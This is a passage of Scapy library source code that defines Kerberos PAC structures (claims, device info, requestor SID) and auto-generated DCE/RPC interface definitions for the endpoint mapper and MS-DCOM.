pkt,\n                offset,\n                fields,\n            )\n            + pay\n        )\n\n\n_PACTYPES[0xC] = UPN_DNS_INFO\n\n# sect 2.11 - NDR PACKETS\n\ntry:\n    from enum import IntEnum\nexcept ImportError:\n    IntEnum = object\n\n\nclass CLAIM_TYPE(IntEnum):\n    CLAIM_TYPE_INT64 = 1\n    CLAIM_TYPE_UINT64 = 2\n    CLAIM_TYPE_STRING = 3\n    CLAIM_TYPE_BOOLEAN = 6\n\n\nclass CLAIMS_SOURCE_TYPE(IntEnum):\n    CLAIMS_SOURCE_TYPE_AD = 1\n    CLAIMS_SOURCE_TYPE_CERTIFICATE = 2\n\n\nclass CLAIMS_COMPRESSION_FORMAT(IntEnum):\n    COMPRESSION_FORMAT_NONE = 0\n    COMPRESSION_FORMAT_LZNT1 = 2\n    COMPRESSION_FORMAT_XPRESS = 3\n    COMPRESSION_FORMAT_XPRESS_HUFF = 4\n\n\nclass CLAIM_ENTRY_sub0(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"ValueCount\", None, size_of=\"Int64Values\"),\n        NDRFullEmbPointerField(\n            NDRConfFieldListField(\n                \"Int64Values\",\n                [],\n                NDRSignedLongField,\n                size_is=lambda pkt: pkt.ValueCount,\n            ),\n        ),\n    ]\n\n\nclass CLAIM_ENTRY_sub1(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"ValueCount\", None, size_of=\"Uint64Values\"),\n        NDRFullEmbPointerField(\n            NDRConfFieldListField(\n                \"Uint64Values\", [], NDRLongField, size_is=lambda pkt: pkt.ValueCount\n            ),\n        ),\n    ]\n\n\nclass CLAIM_ENTRY_sub2(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"ValueCount\", None, size_of=\"StringValues\"),\n        NDRFullEmbPointerField(\n            NDRConfFieldListField(\n                \"StringValues\",\n                [],\n                NDRFullEmbPointerField(\n                    NDRConfVarStrNullFieldUtf16(\"StringVal\", \"\"),\n                ),\n                size_is=lambda pkt: pkt.ValueCount,\n            ),\n        ),\n    ]\n\n\nclass CLAIM_ENTRY_sub3(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"ValueCount\", None, size_of=\"BooleanValues\"),\n        NDRFullEmbPointerField(\n            NDRConfFieldListField(\n                \"BooleanValues\", [], NDRLongField, size_is=lambda pkt: pkt.ValueCount\n            ),\n        ),\n    ]\n\n\nclass CLAIM_ENTRY(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"Id\", \"\")),\n        NDRInt3264EnumField(\"Type\", 0, CLAIM_TYPE),\n        NDRUnionField(\n            [\n                (\n                    NDRPacketField(\"Values\", CLAIM_ENTRY_sub0(), CLAIM_ENTRY_sub0),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"Type\", None)\n                            == CLAIM_TYPE.CLAIM_TYPE_INT64\n                        ),\n                        (lambda _, val: val.tag == CLAIM_TYPE.CLAIM_TYPE_INT64),\n                    ),\n                ),\n                (\n                    NDRPacketField(\"Values\", CLAIM_ENTRY_sub1(), CLAIM_ENTRY_sub1),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"Type\", None)\n                            == CLAIM_TYPE.CLAIM_TYPE_UINT64\n                        ),\n                        (lambda _, val: val.tag == CLAIM_TYPE.CLAIM_TYPE_UINT64),\n                    ),\n                ),\n                (\n                    NDRPacketField(\"Values\", CLAIM_ENTRY_sub2(), CLAIM_ENTRY_sub2),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"Type\", None)\n                            == CLAIM_TYPE.CLAIM_TYPE_STRING\n                        ),\n                        (lambda _, val: val.tag == CLAIM_TYPE.CLAIM_TYPE_STRING),\n                    ),\n                ),\n                (\n                    NDRPacketField(\"Values\", CLAIM_ENTRY_sub3(), CLAIM_ENTRY_sub3),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"Type\", None)\n                            == CLAIM_TYPE.CLAIM_TYPE_BOOLEAN\n                        ),\n                        (lambda _, val: val.tag == CLAIM_TYPE.CLAIM_TYPE_BOOLEAN),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"Values\", \"\", length=0),\n            align=(2, 8),\n            switch_fmt=(\"H\", \"I\"),\n        ),\n    ]\n\n\nclass CLAIMS_ARRAY(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRInt3264EnumField(\"usClaimsSourceType\", 0, CLAIMS_SOURCE_TYPE),\n        NDRIntField(\"ulClaimsCount\", None, size_of=\"ClaimEntries\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"ClaimEntries\",\n                [CLAIM_ENTRY()],\n                CLAIM_ENTRY,\n                size_is=lambda pkt: pkt.ulClaimsCount,\n            ),\n        ),\n    ]\n\n\nclass CLAIMS_SET(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"ulClaimsArrayCount\", None, size_of=\"ClaimsArrays\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"ClaimsArrays\",\n                [CLAIMS_ARRAY()],\n                CLAIMS_ARRAY,\n                size_is=lambda pkt: pkt.ulClaimsArrayCount,\n            ),\n        ),\n        NDRShortField(\"usReservedType\", 0),\n        NDRIntField(\"ulReservedFieldSize\", None, size_of=\"ReservedField\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"ReservedField\", \"\", size_is=lambda pkt: pkt.ulReservedFieldSize\n            ),\n        ),\n    ]\n\n\nclass _CLAIMSClaimSet(_NDRConfField, NDRSerializeType1PacketLenField):\n    CONFORMANT_STRING = True\n    LENGTH_FROM = True\n\n    def m2i(self, pkt, s):\n        if pkt.usCompressionFormat == CLAIMS_COMPRESSION_FORMAT.COMPRESSION_FORMAT_NONE:\n            return ndr_deserialize1(s, CLAIMS_SET, ptr_pack=True)\n        else:\n            # TODO: There are 3 funky compression formats... see sect 2.2.18.4\n            return NDRConformantString(value=s)\n\n    def i2m(self, pkt, val):\n        val = val[0]\n        if pkt.usCompressionFormat == CLAIMS_COMPRESSION_FORMAT.COMPRESSION_FORMAT_NONE:\n            return ndr_serialize1(val, ptr_pack=True)\n        else:\n            # funky\n            return bytes(val)\n\n    def valueof(self, pkt, x):\n        if pkt.usCompressionFormat == CLAIMS_COMPRESSION_FORMAT.COMPRESSION_FORMAT_NONE:\n            return self._subval(x)[0]\n        else:\n            return x\n\n\nclass CLAIMS_SET_METADATA(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"ulClaimsSetSize\", None, size_of=\"ClaimsSet\"),\n        NDRFullEmbPointerField(\n            _CLAIMSClaimSet(\n                \"ClaimsSet\", None, None, size_is=lambda pkt: pkt.ulClaimsSetSize\n            ),\n        ),\n        NDRInt3264EnumField(\n            \"usCompressionFormat\",\n            0,\n            CLAIMS_COMPRESSION_FORMAT,\n        ),\n        # this size_of is technically wrong. we just assume it's uncompressed...\n        NDRIntField(\"ulUncompressedClaimsSetSize\", None, size_of=\"ClaimsSet\"),\n        NDRShortField(\"usReservedType\", 0),\n        NDRIntField(\"ulReservedFieldSize\", None, size_of=\"ReservedField\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"ReservedField\", \"\", size_is=lambda pkt: pkt.ulReservedFieldSize\n            ),\n        ),\n    ]\n\n\nclass PAC_CLIENT_CLAIMS_INFO(NDRPacket):\n    fields_desc = [NDRPacketField(\"Claims\", CLAIMS_SET_METADATA(), CLAIMS_SET_METADATA)]\n\n\nif IntEnum != object:\n    # If not available, ignore. I can't be bothered\n    _PACTYPES[0xD] = PAC_CLIENT_CLAIMS_INFO\n\n\n# sect 2.12 - NDR PACKETS\n\n\nclass DOMAIN_GROUP_MEMBERSHIP(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRPacketField(\"DomainId\", SID(), SID)),\n        NDRIntField(\"GroupCount\", 0),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"GroupIds\",\n                [GROUP_MEMBERSHIP()],\n                GROUP_MEMBERSHIP,\n                size_is=lambda pkt: pkt.GroupCount,\n            ),\n        ),\n    ]\n\n\nclass PAC_DEVICE_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"UserId\", 0),\n        NDRIntField(\"PrimaryGroupId\", 0),\n        NDRFullEmbPointerField(\n            NDRPacketField(\"AccountDomainId\", SID(), SID),\n        ),\n        NDRIntField(\"AccountGroupCount\", 0),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"AccountGroupIds\",\n                [GROUP_MEMBERSHIP()],\n                GROUP_MEMBERSHIP,\n                size_is=lambda pkt: pkt.AccountGroupCount,\n            ),\n        ),\n        NDRIntField(\"SidCount\", 0),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"ExtraSids\",\n                [KERB_SID_AND_ATTRIBUTES()],\n                KERB_SID_AND_ATTRIBUTES,\n                size_is=lambda pkt: pkt.SidCount,\n            ),\n        ),\n        NDRIntField(\"DomainGroupCount\", 0),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"DomainGroup\",\n                [DOMAIN_GROUP_MEMBERSHIP()],\n                DOMAIN_GROUP_MEMBERSHIP,\n                size_is=lambda pkt: pkt.DomainGroupCount,\n            ),\n        ),\n    ]\n\n\n_PACTYPES[0xE] = PAC_DEVICE_INFO\n\n# sect 2.14 - PAC_ATTRIBUTES_INFO\n\n\nclass PAC_ATTRIBUTES_INFO(Packet):\n    fields_desc = [\n        LEIntField(\"FlagsLength\", 2),\n        FieldListField(\n            \"Flags\",\n            [\"PAC_WAS_REQUESTED\"],\n            FlagsField(\n                \"\",\n                0,\n                -32,\n                {\n                    0x00000001: \"PAC_WAS_REQUESTED\",\n                    0x00000002: \"PAC_WAS_GIVEN_IMPLICITLY\",\n                },\n            ),\n            count_from=lambda pkt: (pkt.FlagsLength + 7) // 8,\n        ),\n    ]\n\n\n_PACTYPES[0x11] = PAC_ATTRIBUTES_INFO\n\n# sect 2.15 - PAC_REQUESTOR_SID\n\n\nclass PAC_REQUESTOR_SID(Packet):\n    fields_desc = [\n        PacketField(\"Sid\", WINNT_SID(), WINNT_SID),\n    ]\n\n\n_PACTYPES[0x12] = PAC_REQUESTOR_SID\n\n# sect 2.16 - PAC_REQUESTOR_GUID\n\n\nclass PAC_REQUESTOR_GUID(Packet):\n    fields_desc = [\n        UUIDField(\"Guid\", None),\n    ]\n\n\n_PACTYPES[0x14] = PAC_REQUESTOR_GUID\n\n# sect 2.3\n\n\nclass _PACTYPEBuffers(PacketListField):\n    def addfield(self, pkt, s, val):\n        # we use this field to set Offset and cbBufferSize\n        res = b\"\"\n        if len(val) != len(pkt.Payloads):\n            log_runtime.warning(\"Size of 'Buffers' does not match size of 'Payloads' !\")\n            return super(_PACTYPEBuffers, self).addfield(pkt, s, val)\n        offset = 16 * len(pkt.Payloads) + 8\n        for i, v in enumerate(val):\n            x = self.i2m(pkt, v)\n            pay = pkt.Payloads[i]\n            if isinstance(pay, NDRPacket) or isinstance(pay, NDRSerialization1Header):\n                lgth = len(ndr_serialize1(pay, ptr_pack=True))\n            else:\n                lgth = len(pay)\n            if v.cbBufferSize is None:\n                x = x[:4] + struct.pack(\"<I\", lgth) + x[8:]\n            if v.Offset is None:\n                x = x[:8] + struct.pack(\"<Q\", offset) + x[16:]\n            offset += lgth\n            offset += (-offset) % 8  # Account for padding\n            res += x\n        return s + res\n\n\nclass _PACTYPEPayloads(PacketListField):\n    def i2m(self, pkt, val):\n        if isinstance(val, NDRPacket) or isinstance(val, NDRSerialization1Header):\n            s = ndr_serialize1(val, ptr_pack=True)\n        else:\n            s = bytes(val)\n        return s + b\"\\x00\" * ((-len(s)) % 8)\n\n    def getfield(self, pkt, s):\n        if not pkt or not s:\n            return s, []\n        result = []\n        for buf in pkt.Buffers:\n            offset = buf.Offset - 16 * len(pkt.Buffers) - 8\n            try:\n                cls = _PACTYPES[buf.ulType]\n                if buf.cbBufferSize == 0:\n                    # empty size\n                    raise KeyError\n                if issubclass(cls, NDRPacket):\n                    val = ndr_deserialize1(\n                        s[offset : offset + buf.cbBufferSize],\n                        cls,\n                        ptr_pack=True,\n                    )\n                else:\n                    val = cls(s[offset : offset + buf.cbBufferSize])\n                if conf.raw_layer in val:\n                    pad = conf.padding_layer(load=val[conf.raw_layer].load)\n                    lay = val[conf.raw_layer].underlayer\n                    if not lay:\n                        val.show()\n                        raise ValueError(\"Dissection failed\")\n                    lay.remove_payload()\n                    lay.add_payload(pad)\n            except KeyError:\n                val = conf.padding_layer(s[offset : offset + buf.cbBufferSize])\n            result.append(val)\n        return b\"\", result\n\n\nclass PACTYPE(Packet):\n    name = \"PACTYPE - PAC\"\n    fields_desc = [\n        FieldLenField(\"cBuffers\", None, count_of=\"Buffers\", fmt=\"<I\"),\n        LEIntField(\"Version\", 0x00000000),\n        _PACTYPEBuffers(\n            \"Buffers\",\n            [PAC_INFO_BUFFER()],\n            PAC_INFO_BUFFER,\n            count_from=lambda pkt: pkt.cBuffers,\n        ),\n        _PACTYPEPayloads(\"Payloads\", [], None),\n    ]\n\n    def getPayload(self, ulType):\n        \"\"\"\n        Get a payload if it exists.\n        \"\"\"\n        for i, buf in enumerate(self.Buffers):\n            if buf.ulType == ulType:\n                return self.Payloads[i]\n        return None\n\n\n_AUTHORIZATIONDATA_VALUES[128] = PACTYPE  # AD-WIN2K-PAC\n"
  },
  {
    "path": "scapy/layers/msrpce/raw/README.md",
    "content": "# msrpce/raw\n\nThis folder contains partial definitions of Windows IDLs.\n"
  },
  {
    "path": "scapy/layers/msrpce/raw/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\n'Raw' definitions of DCE/RPC IDL interfaces\n\"\"\"\n"
  },
  {
    "path": "scapy/layers/msrpce/raw/ept.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy RPC\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n# This is from [MS-RPCE] and [C706] Appendix O\n\n\"\"\"\nRPC definitions for the following interfaces:\n- ept (v3.0): e1af8308-5d1f-11c9-91a4-08002b14a0fa\nThis file is auto-generated by midl-to-scapy, do not modify.\n\"\"\"\n\nimport uuid\n\nfrom scapy.fields import PacketListField, StrFixedLenField\nfrom scapy.layers.dcerpc import (\n    NDRPacket,\n    DceRpcOp,\n    NDRByteField,\n    NDRConfPacketListField,\n    NDRConfStrLenField,\n    NDRConfVarPacketListField,\n    NDRContextHandle,\n    NDRFullEmbPointerField,\n    NDRFullPointerField,\n    NDRIntField,\n    NDRPacketField,\n    NDRShortField,\n    NDRVarStrLenField,\n    register_dcerpc_interface,\n)\n\n\nclass UUID(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        NDRIntField(\"Data1\", 0),\n        NDRShortField(\"Data2\", 0),\n        NDRShortField(\"Data3\", 0),\n        StrFixedLenField(\"Data4\", \"\", length=8),\n    ]\n\n\nclass twr_p_t(NDRPacket):\n    ALIGNMENT = (4, 4)\n    DEPORTED_CONFORMANTS = [\"tower_octet_string\"]\n    fields_desc = [\n        NDRIntField(\"tower_length\", None, size_of=\"tower_octet_string\"),\n        NDRConfStrLenField(\n            \"tower_octet_string\",\n            \"\",\n            size_is=lambda pkt: pkt.tower_length,\n            conformant_in_struct=True,\n        ),\n    ]\n\n\nclass ept_entry_t(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"object\", UUID(), UUID),\n        NDRFullEmbPointerField(NDRPacketField(\"tower\", twr_p_t(), twr_p_t)),\n        NDRVarStrLenField(\"annotation\", \"\"),\n    ]\n\n\nclass ept_insert_Request(NDRPacket):\n    fields_desc = [\n        NDRIntField(\"num_ents\", None, size_of=\"entries\"),\n        NDRConfPacketListField(\n            \"entries\", [], ept_entry_t, size_is=lambda pkt: pkt.num_ents\n        ),\n        NDRIntField(\"replace\", 0),\n    ]\n\n\nclass ept_insert_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nclass ept_delete_Request(NDRPacket):\n    fields_desc = [\n        NDRIntField(\"num_ents\", None, size_of=\"entries\"),\n        NDRConfPacketListField(\n            \"entries\", [], ept_entry_t, size_is=lambda pkt: pkt.num_ents\n        ),\n    ]\n\n\nclass ept_delete_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nclass RPC_IF_ID(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        NDRPacketField(\"Uuid\", UUID(), UUID),\n        NDRShortField(\"VersMajor\", 0),\n        NDRShortField(\"VersMinor\", 0),\n    ]\n\n\nclass ept_lookup_Request(NDRPacket):\n    fields_desc = [\n        NDRIntField(\"inquiry_type\", 0),\n        NDRFullPointerField(NDRPacketField(\"object\", UUID(), UUID)),\n        NDRFullPointerField(NDRPacketField(\"Ifid\", RPC_IF_ID(), RPC_IF_ID)),\n        NDRIntField(\"vers_option\", 0),\n        NDRPacketField(\"entry_handle\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"max_ents\", 0),\n    ]\n\n\nclass ept_lookup_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"entry_handle\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"num_ents\", None, size_of=\"entries\"),\n        NDRConfVarPacketListField(\n            \"entries\",\n            [],\n            ept_entry_t,\n            size_is=lambda pkt: pkt.max_ents,\n            length_is=lambda pkt: pkt.num_ents,\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass ept_map_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRPacketField(\"obj\", UUID(), UUID)),\n        NDRFullPointerField(NDRPacketField(\"map_tower\", twr_p_t(), twr_p_t)),\n        NDRPacketField(\"entry_handle\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"max_towers\", 0),\n    ]\n\n\nclass ept_map_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"entry_handle\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"num_towers\", None, size_of=\"ITowers\"),\n        NDRConfVarPacketListField(\n            \"ITowers\",\n            [],\n            twr_p_t,\n            size_is=lambda pkt: pkt.max_towers,\n            length_is=lambda pkt: pkt.num_towers,\n            ptr_lvl=1,\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass ept_lookup_handle_free_Request(NDRPacket):\n    fields_desc = [NDRPacketField(\"entry_handle\", NDRContextHandle(), NDRContextHandle)]\n\n\nclass ept_lookup_handle_free_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"entry_handle\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass uuid_t(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        NDRIntField(\"time_low\", 0),\n        NDRShortField(\"time_mid\", 0),\n        NDRShortField(\"time_hi_and_version\", 0),\n        NDRByteField(\"clock_seq_hi_and_reserved\", 0),\n        NDRByteField(\"clock_seq_low\", 0),\n        StrFixedLenField(\"node\", \"\", length=6),\n    ]\n\n\nclass ept_inq_object_Request(NDRPacket):\n    fields_desc = []\n\n\nclass ept_inq_object_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"ept_object\", uuid_t(), uuid_t),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass uuid_p_t(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        NDRIntField(\"time_low\", 0),\n        NDRShortField(\"time_mid\", 0),\n        NDRShortField(\"time_hi_and_version\", 0),\n        NDRByteField(\"clock_seq_hi_and_reserved\", 0),\n        NDRByteField(\"clock_seq_low\", 0),\n        StrFixedLenField(\"node\", \"\", length=6),\n    ]\n\n\nclass ept_mgmt_delete_Request(NDRPacket):\n    fields_desc = [\n        NDRIntField(\"object_speced\", 0),\n        NDRPacketField(\"object\", uuid_p_t(), uuid_p_t),\n        NDRPacketField(\"tower\", twr_p_t(), twr_p_t),\n    ]\n\n\nclass ept_mgmt_delete_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nEPT_OPNUMS = {\n    0: DceRpcOp(ept_insert_Request, ept_insert_Response),\n    1: DceRpcOp(ept_delete_Request, ept_delete_Response),\n    2: DceRpcOp(ept_lookup_Request, ept_lookup_Response),\n    3: DceRpcOp(ept_map_Request, ept_map_Response),\n    4: DceRpcOp(ept_lookup_handle_free_Request, ept_lookup_handle_free_Response),\n    5: DceRpcOp(ept_inq_object_Request, ept_inq_object_Response),\n    6: DceRpcOp(ept_mgmt_delete_Request, ept_mgmt_delete_Response),\n}\nregister_dcerpc_interface(\n    name=\"ept\",\n    uuid=uuid.UUID(\"e1af8308-5d1f-11c9-91a4-08002b14a0fa\"),\n    version=\"3.0\",\n    opnums=EPT_OPNUMS,\n)\n"
  },
  {
    "path": "scapy/layers/msrpce/raw/ms_dcom.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy RPC\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n# [ms-dcom] v25.0 (Mon, 16 Sep 2024)\n\n\"\"\"\nRPC definitions for the following interfaces:\n- IActivation (v0.0): 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57\n- IRemoteSCMActivator (v0.0): 000001A0-0000-0000-C000-000000000046\n- IObjectExporter (v0.0): 99fcfec4-5260-101b-bbcb-00aa0021347a\n- IUnknown (v0.0): 00000000-0000-0000-C000-000000000046\n- IRemUnknown (v0.0): 00000131-0000-0000-C000-000000000046\n- IRemUnknown2 (v0.0): 00000143-0000-0000-C000-000000000046\nThis file is auto-generated by midl-to-scapy, do not modify.\n\"\"\"\n\nfrom enum import IntEnum\nimport uuid\n\nfrom scapy.fields import StrFixedLenField\nfrom scapy.layers.dcerpc import (\n    NDRPacket,\n    DceRpcOp,\n    NDRConfFieldListField,\n    NDRConfPacketListField,\n    NDRConfStrLenField,\n    NDRConfStrLenFieldUtf16,\n    NDRConfVarStrNullField,\n    NDRConfVarStrNullFieldUtf16,\n    NDRFullEmbPointerField,\n    NDRFullPointerField,\n    NDRInt3264EnumField,\n    NDRIntField,\n    NDRLongField,\n    NDRPacketField,\n    NDRShortField,\n    NDRSignedIntField,\n    register_com_interface,\n    register_dcerpc_interface,\n)\n\n\nclass COMVERSION(NDRPacket):\n    ALIGNMENT = (2, 2)\n    fields_desc = [NDRShortField(\"MajorVersion\", 0), NDRShortField(\"MinorVersion\", 0)]\n\n\nclass tagCPFLAGS(IntEnum):\n    CPFLAG_PROPAGATE = 1\n    CPFLAG_EXPOSE = 2\n    CPFLAG_ENVOY = 4\n\n\nclass GUID(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        NDRIntField(\"Data1\", 0),\n        NDRShortField(\"Data2\", 0),\n        NDRShortField(\"Data3\", 0),\n        StrFixedLenField(\"Data4\", \"\", length=8),\n    ]\n\n\nclass ORPC_EXTENT(NDRPacket):\n    ALIGNMENT = (4, 4)\n    DEPORTED_CONFORMANTS = [\"data\"]\n    fields_desc = [\n        NDRPacketField(\"id\", GUID(), GUID),\n        NDRIntField(\"size\", 0),\n        NDRConfStrLenField(\n            \"data\",\n            \"\",\n            size_is=lambda pkt: ((pkt.size + 7) & (~7)),\n            conformant_in_struct=True,\n        ),\n    ]\n\n\nclass ORPC_EXTENT_ARRAY(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"size\", 0),\n        NDRIntField(\"reserved\", 0),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"extent\",\n                [],\n                ORPC_EXTENT,\n                size_is=lambda pkt: ((pkt.size + 1) & (~1)),\n                ptr_lvl=1,\n            )\n        ),\n    ]\n\n\nclass ORPCTHIS(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"version\", COMVERSION(), COMVERSION),\n        NDRInt3264EnumField(\"flags\", 0, tagCPFLAGS),\n        NDRIntField(\"reserved1\", 0),\n        NDRPacketField(\"cid\", GUID(), GUID),\n        NDRFullEmbPointerField(\n            NDRPacketField(\"extensions\", ORPC_EXTENT_ARRAY(), ORPC_EXTENT_ARRAY)\n        ),\n    ]\n\n\nclass MInterfacePointer(NDRPacket):\n    ALIGNMENT = (4, 4)\n    DEPORTED_CONFORMANTS = [\"abData\"]\n    fields_desc = [\n        NDRIntField(\"ulCntData\", None, size_of=\"abData\"),\n        NDRConfStrLenField(\n            \"abData\", \"\", size_is=lambda pkt: pkt.ulCntData, conformant_in_struct=True\n        ),\n    ]\n\n\nclass ORPCTHAT(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"flags\", 0),\n        NDRFullEmbPointerField(\n            NDRPacketField(\"extensions\", ORPC_EXTENT_ARRAY(), ORPC_EXTENT_ARRAY)\n        ),\n    ]\n\n\nclass DUALSTRINGARRAY(NDRPacket):\n    ALIGNMENT = (2, 2)\n    DEPORTED_CONFORMANTS = [\"aStringArray\"]\n    fields_desc = [\n        NDRShortField(\"wNumEntries\", None, size_of=\"aStringArray\"),\n        NDRShortField(\"wSecurityOffset\", 0),\n        NDRConfStrLenFieldUtf16(\n            \"aStringArray\",\n            \"\",\n            size_is=lambda pkt: pkt.wNumEntries,\n            conformant_in_struct=True,\n        ),\n    ]\n\n\nclass RemoteActivation_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"ORPCthis\", ORPCTHIS(), ORPCTHIS),\n        NDRPacketField(\"Clsid\", GUID(), GUID),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"pwszObjectName\", \"\")),\n        NDRFullPointerField(\n            NDRPacketField(\"pObjectStorage\", MInterfacePointer(), MInterfacePointer)\n        ),\n        NDRIntField(\"ClientImpLevel\", 0),\n        NDRIntField(\"Mode\", 0),\n        NDRIntField(\"Interfaces\", None, size_of=\"pIIDs\"),\n        NDRFullPointerField(\n            NDRConfPacketListField(\n                \"pIIDs\", [], GUID, size_is=lambda pkt: pkt.Interfaces\n            )\n        ),\n        NDRShortField(\"cRequestedProtseqs\", None, size_of=\"aRequestedProtseqs\"),\n        NDRConfFieldListField(\n            \"aRequestedProtseqs\",\n            [],\n            NDRShortField(\"\", 0),\n            size_is=lambda pkt: pkt.cRequestedProtseqs,\n        ),\n    ]\n\n\nclass RemoteActivation_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"ORPCthat\", ORPCTHAT(), ORPCTHAT),\n        NDRLongField(\"pOxid\", 0),\n        NDRFullPointerField(\n            NDRPacketField(\"ppdsaOxidBindings\", DUALSTRINGARRAY(), DUALSTRINGARRAY)\n        ),\n        NDRPacketField(\"pipidRemUnknown\", GUID(), GUID),\n        NDRIntField(\"pAuthnHint\", 0),\n        NDRPacketField(\"pServerVersion\", COMVERSION(), COMVERSION),\n        NDRSignedIntField(\"phr\", 0),\n        NDRConfPacketListField(\n            \"ppInterfaceData\",\n            [],\n            MInterfacePointer,\n            size_is=lambda pkt: pkt.Interfaces,\n            ptr_lvl=1,\n        ),\n        NDRConfFieldListField(\n            \"pResults\", [], NDRSignedIntField(\"\", 0), size_is=lambda pkt: pkt.Interfaces\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nIACTIVATION_OPNUMS = {0: DceRpcOp(RemoteActivation_Request, RemoteActivation_Response)}\nregister_dcerpc_interface(\n    name=\"IActivation\",\n    uuid=uuid.UUID(\"4d9f4ab8-7d1c-11cf-861e-0020af6e7c57\"),\n    version=\"0.0\",\n    opnums=IACTIVATION_OPNUMS,\n)\n\n\nclass RemoteGetClassObject_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"orpcthis\", ORPCTHIS(), ORPCTHIS),\n        NDRFullPointerField(\n            NDRPacketField(\"pActProperties\", MInterfacePointer(), MInterfacePointer)\n        ),\n    ]\n\n\nclass RemoteGetClassObject_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"orpcthat\", ORPCTHAT(), ORPCTHAT),\n        NDRFullPointerField(\n            NDRPacketField(\"ppActProperties\", MInterfacePointer(), MInterfacePointer)\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass RemoteCreateInstance_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"orpcthis\", ORPCTHIS(), ORPCTHIS),\n        NDRFullPointerField(\n            NDRPacketField(\"pUnkOuter\", MInterfacePointer(), MInterfacePointer)\n        ),\n        NDRFullPointerField(\n            NDRPacketField(\"pActProperties\", MInterfacePointer(), MInterfacePointer)\n        ),\n    ]\n\n\nclass RemoteCreateInstance_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"orpcthat\", ORPCTHAT(), ORPCTHAT),\n        NDRFullPointerField(\n            NDRPacketField(\"ppActProperties\", MInterfacePointer(), MInterfacePointer)\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nIREMOTESCMACTIVATOR_OPNUMS = {  # 0: Opnum0NotUsedOnWire,\n    # 1: Opnum1NotUsedOnWire,\n    # 2: Opnum2NotUsedOnWire,\n    3: DceRpcOp(RemoteGetClassObject_Request, RemoteGetClassObject_Response),\n    4: DceRpcOp(RemoteCreateInstance_Request, RemoteCreateInstance_Response),\n}\nregister_dcerpc_interface(\n    name=\"IRemoteSCMActivator\",\n    